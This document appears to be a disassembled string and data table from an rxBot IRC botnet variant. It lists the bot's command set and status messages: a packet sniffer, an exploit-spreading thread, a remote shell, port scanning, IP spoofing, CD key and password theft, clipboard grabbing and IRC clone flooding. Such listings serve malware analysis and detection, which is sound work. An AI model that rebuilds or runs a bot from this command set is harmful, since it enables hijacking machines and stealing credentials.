		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B178	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B1E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B21C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B24C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C44o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C2Co
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C4Co
		unicode	0, <n>,0
unk_42B34C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3AC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3C4	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B3DC	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B424	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B44C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B450	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B45C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B464	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B4D4	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B4E8	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B4EC	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B4FC	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B500	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B504	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_42B56C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B5AC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B5E4	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42B610	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_42B650	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B68C	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6B8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B6E4	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B6F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42B7E0	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B814	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B854	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42B880	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42B8BC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B8E4	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B8F4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B900	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B910	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B920	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B954	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42B9D0	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42B9E8	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA24	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA44	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA48	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA60	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BA98	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAB0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BACC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BAE8	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB04	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42BB40	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB64	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BB84	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBA4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBBC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BBDC	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC04	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42BC30	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC4C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42BC90	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCB4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42BCE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42BD30	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42BD6C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDA8	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BDE4	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE20	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE5C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42BE90	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42BEB0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BEE8	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF24	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFA4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42BFE4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C020	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE7o
					; sub_401ACD+4FA1o
dword_42C090	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C138	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 4
unk_42C16C	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1A0	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1B4	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1B8	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1C4	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:00437F84o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
